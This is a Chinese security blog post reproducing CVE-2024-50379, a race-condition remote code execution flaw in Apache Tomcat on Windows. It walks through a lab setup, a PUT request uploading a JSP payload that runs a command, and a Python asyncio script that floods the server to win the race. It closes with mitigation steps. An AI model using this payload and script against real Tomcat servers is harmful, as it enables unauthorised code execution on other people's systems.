CVE-2024-50379:Apache Tomcat远程代码执行漏洞

admin 2025年2月13日10:02:14评论31 views字数 3210阅读10分42秒阅读模式

关注我们❤️,添加星标🌟,一起学安全!
作者:Howell
本文字数:2941
阅读时长:3 ~ 4mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负

0x01 简介

Apache Tomcat是一个开源的Java Servlet容器,广泛用于运行Java Web应用程序。它实现了Java Servlet和JavaServer Pages (JSP) 技术,提供了一个运行环境来处理HTTP请求、生成动态网页,并支持WebSocket通信。

Apache Tomcat以其稳定性、灵活性和易用性而受到开发者的青睐,是开发和部署Java Web应用的重要工具之一。

0x02 漏洞概述

漏洞编号:CVE-2024-50379

该漏洞的 CVSS 评分为 9.8,属于高危漏洞。漏洞的根本原因是 Tomcat 在验证文件路径时存在缺陷,特别是在不区分大小写的文件系统(如 Windows)上,当readonly初始化参数被设置为false时(有些版本不存在此参数),攻击者可以通过条件竞争上传恶意文件并执行远程代码。

0x03 影响版本

9.0.0.M1 <= Apache Tomcat < 9.0.98

10.1.0-M1 <= Apache Tomcat < 10.1.34

11.0.0-M1 <= Apache Tomcat < 11.0.2

0x04 环境搭建

1、最好安装配置一台win的虚拟机,将内核和内存都尽可能调小(==提升复现成功率==)

2、在Java Downloads | Oracle 中国上下载JAVA 8(==一定要下载JAVA 8,这个版本的JAVA复现成功率最高==)

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

3、在Apache-Tomcat中下载漏洞范围版本

配置环境变量

JAVA_HOME

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

%JAVA_HOME%bin

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

CATALINA_BASE

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

查看conf/web.xml的配置,检查readonly的参数是否为flase,如果不是就进行如下配置,注意是default servlet(大部分版本是要自己手动去添加这个参数,在漏洞版本中如果存在,基本默认都是flase)

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

启动Tomcat(乱码问题不大,web.xml改一下GBK就没问题了,使用虚拟机的IPv4地址访问8080端口)

CVE-2024-50379:Apache Tomcat远程代码执行漏洞
CVE-2024-50379:Apache Tomcat远程代码执行漏洞

0x05 漏洞复现

开启浏览器代理,使用Yakit抓包

CVE-2024-50379:Apache Tomcat远程代码执行漏洞利用POC发包(==三个包同时发送!!!==)

PUT /test.Jsp HTTP/1.1
Host192.168.235.131:8080

<% Runtime.getRuntime().exec("calc.exe");%>

第一个包

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

第二个包

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

第三个包

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

有时只用Yakit进行发包就能成功,有时不行,所以为了提升成功率,写一个python脚本和Yakit一起运行,对Tomcat进行发包

import asyncio  
import aiohttp  
  
async def send_request(session, method, url, data=None):  
try:  
async with session.request(method, url, data=data) as response:  
print(f"Request to {url} completed with status {response.status}")  
return await response.text()  
except Exception as e:  
print(f"Request to {url} failed: {e}")  
return None  
  
async def main():  
async with aiohttp.ClientSession() as session:  
tasks = []  
for _ in range(10000): # 循环100次  
tasks.append(send_request(session, 'PUT''http://192.168.235.131:8080/evil.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))  
tasks.append(send_request(session, 'PUT''http://192.168.235.131:8080/test.Jsp', data='<% Runtime.getRuntime().exec("calc.exe");%>'))  
tasks.append(send_request(session, 'GET''http://192.168.235.131:8080/evil.jsp'))  
  
# 并发执行所有任务  
responses = await asyncio.gather(*tasks)  
  
# 打印部分响应结果(可选)  
for i, response in enumerate(responses):  
if response:  
print(f"Response {i+1}{response[:100]}...")  
  
# 运行主函数  
asyncio.run(main())
CVE-2024-50379:Apache Tomcat远程代码执行漏洞

返回状态码是201代表上传成功,可以去webapps/ROOT目录看到;再次重放请求的时候就是204的状态码了,说明文件已经存在

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

成功!

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

0x06 修复方式

配置调整:

- 在不影响业务的前提下将conf/web.xml文件中的readonly参数设置为true或直接注释该参数

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

- 禁用 PUT 方法并重启 Tomcat 服务以启用新的配置

升级版本:升级Tomcat版本为非漏洞版本范围

参考链接

https://xz.aliyun.com/t/16900

https://mp.weixin.qq.com/s/d7dneaUgF2TD2KGdT1qiQw

CVE-2024-50379:Apache Tomcat远程代码执行漏洞

回复【加群】进入微信交流群
回复【SRC群】进入SRC-QQ交流群
回复【新人】领取新人学习指南资料
回复【面试】获取渗透测试常见面试题

回复【手册】获取原创技术PDF手册

回复【合作】获取各类安全项目合作方式
回复【帮会】付费加入SRC知识库学习
回复培训】获取TimelineSec创办的实战课程

视频号:搜索TimelineSec,官方微博

团队官网:http://www.timelinesec.com

B站:https://space.bilibili.com/524591903

觉得有用就点个赞吧!
欢迎评论区留言讨论~
CVE-2024-50379:Apache Tomcat远程代码执行漏洞

原文始发于微信公众号(Timeline Sec):CVE-2024-50379:Apache Tomcat远程代码执行漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月13日10:02:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-50379:Apache Tomcat远程代码执行漏洞https://cn-sec.com/archives/3735098.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息